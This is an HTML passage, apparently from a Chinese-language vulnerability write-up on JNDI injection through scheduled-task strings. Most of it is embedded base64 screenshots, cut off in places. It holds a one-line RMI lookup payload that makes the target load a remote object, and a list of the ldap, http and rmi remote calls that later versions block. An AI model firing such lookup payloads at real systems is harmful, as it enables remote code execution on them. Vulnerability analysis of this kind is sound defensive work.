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 truncated
|
||||
<p blockindex=55>所以在补充一个rmi的poc:</p>
|
||||
<pre blockindex=56><code class="hljs language-php">org.springframework.jndi.JndiLocatorDelegate.lookup(<span class=hljs-string>'rmi://127.0.0.1:1099/refObj'</span>)
|
||||
</code></pre>
|
||||
<p blockindex=57><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB4AAAAOnCAYAAADBRFtbAAAgAElEQVR4nOzde3iU9Z3//+d9zymTyeRMSEJICJBwCIgCKmCFUopii7ayrcVua7cH/e1ebg92f1281l7ur1y6l3a3h21//tqv1nVrPVDbxapUsSylaAWsCCrHJJwSMAmQ82SSzOm+f3/MBHKYQKCRhPh6XHKZue/7c8/nnjuMXvOa9/tjVB86bCMiIiIiIiIiIiIiIiIiIpc959/+audIz0FEPmDu9JyRnoKIiIiIiIiIiIiIiIhcAuZIT0BERERERERERERERERERIaHAmARERERERERERERERERkTFCAbCIiIiIiIiIiIiIiIiIyBihAFhEREREREREREREREREZIxQACwiIiIiIiIiIiIiIiIiMkYoABYRERERERERERERERERGSMUAIuIiIiIiIiIiIiIiIiIjBEKgEVERERERERERERERERExggFwCIiIiIiIiIiIiIiIiIiY4QCYBERERERERERERERERGRMUIBsIiIiIiIiIiIiIiIiIjIGKEAWERERERERERERERERERkjFAALCIiIiIiIiIiIiIiIiIyRigAFhEREREREREREREREREZI5wjPQERERERERERERERERER+fBwdTVxes82InX7aH//KKHW0xDuwjTB7/eTkjMeI6uYtNIr8E6ZRyw1d6SnfFlRACwiIiIiIiIiIiIiIiIiH7jstioKmt+hu+Ydqt54jyyfTbQlimEb2Da4XQY+R4iUrtOcPHGMU7v+iC/FQ+mCZZjTlhIumDXSl3BZUAAsIiIiIiIiIiIiIiIiIh+Y8XYLC+x9TEw7xcnudt5zmqS4TTq6I3i9JuEwRKM2kwudxCyDSAjAxjRMbAyiJyrxNBwhc/JsMpd/jWNt1khf0qimAFhEREREREREREREREREPhDj6ndQcHwTtRiccDgwDJtoNIaBjW2AATgcBiYm41NdhO0MCibl43SabHn7AB2RKG4zRGdXJ9bRd1hU8yIt7Tm0FS8c6UsbtcyRnoCIiIiIiIiIiIiIiIiIjD0Tj7/K5IY/4nabOJ02hhnFsmJgQzgG3d3Q3W3jdph8fEYaRsTJvKmlFGVnUOAJ8d/fvZ1rp2cRjTQStQJ0hwJs/d9XKTnxJ/KP/GGkL2/UUgAsIiIiIiIiIiIiIiIiIsOq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 truncated
|
||||
<p blockindex=58><img src="data:image/png;base64,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 truncated
|
||||
<h2 blockindex=59><4.7.0</h2>
|
||||
<p blockindex=60><code>4.6.2~4.7.1</code>新增黑名单限制调用字符串</p>
|
||||
<ul blockindex=61>
|
||||
<li>定时任务屏蔽ldap远程调用</li>
|
||||
<li>定时任务屏蔽http(s)远程调用</li>
|
||||
<li>定时任务屏蔽rmi远程调用</li>
|
||||
</ul>
|
||||
<p blockindex=62><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABNQAAAMlCAYAAAC7Ia67AAAgAElEQVR4nOzdeXxU1d348c+dyWRfJgvZF0jY90UQAdkXZVEQ3KqtrXurtv21ffpqn9o+tmrt02r71NZat6p1rRuKqKCoqICsIZBASMhClkky2TMhk0lmOb8/sk02mAmJBP2+/+LOnDn3e869d5j7zTnnaskpqQohhBBCCCGEEEIIIQZJQmIyptLi8x3GkNGd7wCEEEIIIYQQQgghhLiQSEJNCCGEEEIIIYQQQggvSEJNCCGEEEIIIYQQQggvSEJNCCGEEEIIIYQQQggvSEJNCCGEEEIIIYQQQggvSEJNCCGEEEIIIYQQQggvSEJNCCGEEEIIIYQQQggvSEJNCCGEEEIIIYQQQggvSEKtQ1ACUyYn4avU+Y5EAGsf3nBe6j3T+57GNFSxCyGEGJ5U0EimTIzBH/kNIYQQQgjxTfGNT6gpQpm0/sf84eEH+fGGaQSea33KBx+fQQntG23rzzYPm8TU2oc3dMYyXGL6upDrRQwFOa/EV844k2t/9r/86YG7WJl2rr8khBBCCCHEhWBIbjmUgoiJiVy5PIbxCQH46xw0mOrZuz2fD7JbQdPay4XxnQenknbgMPe9c3ooQjlLnMHMuOVefjDfn7zt/+Qf2/ZT3x5bVxkdo5dsYjqHeOfTPBw93u9eNobV997PppQatj70CzYX9i57tvpGXfdHfr0qtqt8y5c8dsc/SD/DfocrRRKz/zSL8IN7+Og/lb22Owx0VNjWn23ut0zHewPVs05P6ztb4q2vejztp8E2+vpH+OUlx3jknmc4fh7OL0+ul+FKRV/B7/6wkaR++k2deIG7/vAhtgvwuj1X7t9hStmxWWopy93NO6++TVbt0O9fzqvhQ8V/m38tm09wz/9XHYf526uPs9vV9nrK9P/hj1PjOX3y79zyZWZbGeMV/GXdpRz/8Gc8be74zQARsav41vR5TDZGEEwjRaWf8Ny+j8hzdO1DP+pOXlgwHX0f/ZS19/9xf64VgOhJv+Bvs0Z1vud0WKmpPczbe1/m43pH2z4Ni/mf665jUn/HpGYLP9y6FXPpFv70YDVrb7iWa//rFwQ/8gBvnWwdaNcJIYQQQogLwJAk1EKmjeOnN0VCfgU73y2mxmEgaWo8q26dSvA/03k9b3hMifCb8S1uWmCk4I3f8ch7JTj7/MHsy6iL17CaOt77NA/HGWt0YW9txW5vwdFvE89cX8Xnz/P3XD8AIi6+geuneduqYUQ5US7AqfreduNtAuxMCa+BjiJb+/CGznoGUl9Hub7a4l53L17009eLJ9fLMFW3l5f/XkoQAMksvXUD8cdf5cU95rb3LcW0nMfwzjfVdIS3/vUp5ejxj5nA4tUbuPseF7+77x3KhjwZJOfVcKHV7+KfnxwFn/FsWrgEQ96/eaW4CVzVHHcCWluSLCEkEpdyERSZQow6ilnT0BnjiKGSj+u76vOL2cSvly/GUPYJ7+wvxRk2m/WTNvEzZzl3fZnV+X94YlgMutZs/rNrJyXdInJRU93UtmMgMTQa1XiAZ/cfoBYdfkGjWTF9KbcuaaV08yvkoIH